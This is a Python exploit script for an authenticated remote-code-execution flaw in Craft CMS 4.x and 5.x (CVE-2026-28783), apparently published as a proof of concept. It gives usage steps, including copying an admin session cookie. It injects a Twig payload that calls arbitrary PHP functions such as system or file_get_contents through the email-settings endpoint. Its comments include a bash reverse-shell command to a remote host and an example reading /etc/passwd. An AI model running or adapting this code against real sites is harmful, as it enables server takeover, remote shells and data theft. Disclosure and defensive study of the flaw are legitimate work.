#!/usr/bin/env python3
# Exploit Title: Craft CMS 4.x & 5.x RCE via Blocklist Bypass
# CVE: CVE-2026-28783
# Date: 2025-11-15
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://craftcms.com
# Software Link: https://github.com/craftcms/cms
# Affected: Craft CMS 4.0.0-RC1 to 4.17.0-beta.1 / 5.0.0-RC1 to 5.9.0-beta.1
# Tested on: Craft CMS 4.x & 5.x (vulnerable versions)
# Category: Remote Code Execution
# Platform: PHP / Craft CMS
# Exploit Type: Authenticated (admin/editor Twig template access)
# CVSS: 8.8 (High) [Estimated]
# CWE: CWE-94, CWE-184, CWE-1336
# Description: Craft CMS allowed arbitrary PHP function execution via Twig filters
# using non-closure arrow function syntax due to an incomplete blocklist.
# Fixed in: Craft CMS 4.17.0 / 5.9.0 (Twig sandbox enforcement)
# Usage:
# python3 exploit.py <target_url> --cookie <session_cookie> --cmd "<command>" --func <php_function>
#
# Examples:
# python3 exploit.py http://craft.target.com --cookie "abc123..." --cmd "id"
# python3 exploit.py http://craft.target.com --cookie "xyz..." --cmd "whoami" --func passthru
# python3 exploit.py http://craft.target.com --cookie "abc..." --cmd "/etc/passwd" --func file_get_contents
#
# Options:
# --cookie CraftSessionId value from authenticated admin session
# --cmd Command or argument to pass to the PHP function
# --func PHP function to call (system, passthru, exec, file_get_contents, etc.)
#
# Notes:
# - Requires authenticated access to edit Twig-enabled templates (System Messages, email templates, custom fields).
# - Not unauthenticated / blind RCE — needs valid admin/editor privileges.
# - For reverse shell: --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" --func system
#
# How to Use
#
# Step 1: Log in to Craft CMS admin panel as an administrator or editor with Twig template edit permissions
# Step 2: Copy your CraftSessionId cookie from browser dev tools (Application → Cookies)
# Step 3: Run the exploit with the target URL and your session cookie
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-28783 • Craft CMS Twig RCE via Blocklist Bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import argparse
import sys
def exploit_craft_twig_rce(target_url, session_cookie, command, function):
save_endpoint = f"{target_url.rstrip('/')}/admin/settings/email/save-message"
twig_payload = (
f"{{{{ ['{command.replace("'", "\\'")}'] | map('{function}') | join }}}}"
)
data = {
"id": "1",
"name": "Contact Form",
"subject": "Test Subject",
"body": twig_payload,
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Referer": f"{target_url}/admin/settings/email",
}
cookies = {"CraftSessionId": session_cookie}
print(f"[*] Target: {save_endpoint}")
print(f"[*] Payload:\n {twig_payload}")
print(f"[*] Calling PHP::{function}('{command}')\n")
try:
response = requests.post(
save_endpoint,
data=data,
headers=headers,
cookies=cookies,
allow_redirects=False,
timeout=15
)
print(f"[+] Status: {response.status_code}")
if response.status_code in (200, 302):
print("[+] Payload delivered successfully!")
print(" → Trigger by sending a test email or rendering the template.")
print(" → Check output / server logs for result.")
else:
print(f"[-] Failed: {response.status_code} - {response.text[:300]}...")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="CVE-2026-28783 Craft CMS Twig Blocklist Bypass → RCE PoC"
)
parser.add_argument("url", help="Craft CMS base URL[](http://target.com)")
parser.add_argument("--cookie", required=True, help="CraftSessionId cookie value")
parser.add_argument("--cmd", default="id", help="Command/argument to execute")
parser.add_argument("--func", default="system", help="PHP function (system/passthru/file_get_contents/...)")
args = parser.parse_args()
exploit_craft_twig_rce(
target_url=args.url,
session_cookie=args.cookie,
command=args.cmd,
function=args.func
)